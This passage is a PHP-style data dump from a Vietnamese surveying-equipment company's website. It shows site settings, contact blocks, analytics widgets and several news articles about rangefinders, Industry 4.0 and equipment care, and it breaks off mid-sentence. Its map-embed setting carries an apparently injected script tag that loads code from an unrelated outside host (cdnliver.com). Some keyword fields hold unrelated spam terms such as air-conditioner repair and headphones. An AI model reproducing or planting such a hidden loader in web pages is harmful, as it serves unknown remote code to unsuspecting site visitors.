'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ) $description_for_layout = '' $keywords_for_layout = '' $tintucnoibat = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-10', 'status' => '1', 'view' => '89284', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62998', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 